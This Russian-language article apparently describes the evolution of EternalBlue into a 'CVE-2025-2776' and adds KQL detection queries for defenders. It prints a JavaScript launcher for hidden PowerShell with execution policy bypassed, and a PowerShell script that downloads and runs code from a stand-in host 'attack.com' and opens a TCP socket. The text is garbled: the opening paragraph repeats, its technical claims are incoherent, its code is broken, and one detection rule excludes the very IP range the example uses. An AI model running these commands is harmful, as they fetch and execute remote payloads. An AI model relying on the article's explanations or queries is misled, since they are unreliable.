
Это потрясло мир в 2017 году и эволюционировало до сегодняшнего CVE‑2025‑2776. Microsoft по-прежнему полагается на SMBv1, в этой статье будет объяснено, как злоумышленники модифицировали цепочку от простой DLL до полноценного reverse‑shell стека и что это значит для защитников.
Она потрясла мир в 2017 году и эволюционировала в сегодняшний CVE‑2025‑2776. Microsoft до сих пор полагается на SMBv1, эта статья объяснит, как злоумышленники изменили цепочку от простой DLL до полноценного reverse‑shell стека, и что это значит для защитников.
Краткий исторический обзор
Когда WannaCrypter использовала EternalBlue в 2017 году, уязвимость представляла собой классическую ошибку удаленного выполнения кода, позволяющую злоумышленнику отправлять пакет на хост Windows через SMBv1. Полезная нагрузка создавала исполняемый файл, который запускал новый процесс и открывал прослушивающий порт на той же машине; оттуда злоумышленник мог перемещаться наружу или извлекать данные обратно на удаленный сервер. Код EternalBlue был коротким, но имел несколько трудноотслеживаемых побочных эффектов: пакет SMB имел необычную структуру заголовка, а ядро Windows помещало полезную нагрузку в память перед записью на диск.
Перенесемся в 2025 год: новая CVE‑2025‑2776 берет ту же идею и добавляет ей дополнительный уровень сложности. Вместо простого открытия порта злоумышленник теперь записывает reverse shell непосредственно в сетевой стек. Это означает, что в логах можно увидеть полный сеанс SMB, исходящий от устройства Pi, и появляется новый индикатор (имя процесса и IP-адрес), за которым нужно следить.
**Code That Makes It Tick **
Ниже представлен JavaScript, который находится внутри PDF-вложения и запускает всю цепочку:
var cmd = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File C:\\Users\\Admin\\script.ps1";
WshShell.Sleep(500);
var sh = WshShell.Exec(cmd);
while (!sh.StdOut.EndOfStream) {
var line = sh.StdOut.ReadLine();
WScript.Echo(line);
}
Когда скрипт завершается, он создает файл script.ps1 на целевом хосте. Сам PowerShell-скрипт выглядит так:
powershell
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://attack.com/shell.exe')
$client = New-Object System.Net.Sockets.TcpClient
$client.Connect('10.0.1.5', 445)
$stream = $client.GetStream()
$payload = Get-Content -Path C:\\Users\\Admin\\script.ps1 | Out-File -Encoding binary
$stream.Write($payload, 0, $payload.Length)
Стратегия обнаружения KQL для CVE-2025-2776
Подозрительное выполнение PowerShell
Обнаруживает создание script.ps1 в пользовательских каталогах.
DeviceProcessEvents
| where FileName == "powershell.exe"
| where ProcessCommandLine has_all ("-ExecutionPolicy", "Bypass", "-NoProfile")
| where ProcessCommandLine has "script.ps1"
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine, AccountName
Исходящее SMB-подключение к необычному IP
Помечает исходящий SMB-трафик на нестандартные внутренние IP-адреса
DeviceNetworkEvents
| where RemotePort == 445
| where RemoteIP !startswith "192.168." and RemoteIP !startswith "10."
| where InitiatingProcessFileName == "powershell.exe"
| project Timestamp, DeviceName, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine
Поведение reverse shell через TCPClient
Ищет PowerShell, использующий классы .NET для инициирования поведения reverse shell.
DeviceProcessEvents
| where FileName == "powershell.exe"
| where ProcessCommandLine has "System.Net.Sockets.TcpClient"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
Network Stream Write Activity
Расширенное обнаружение, если телеметрия включает активность потоков .NET.
DeviceProcessEvents
| where ProcessCommandLine has "GetStream" and ProcessCommandLine has "Write"
| where ProcessCommandLine has "script.ps1"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName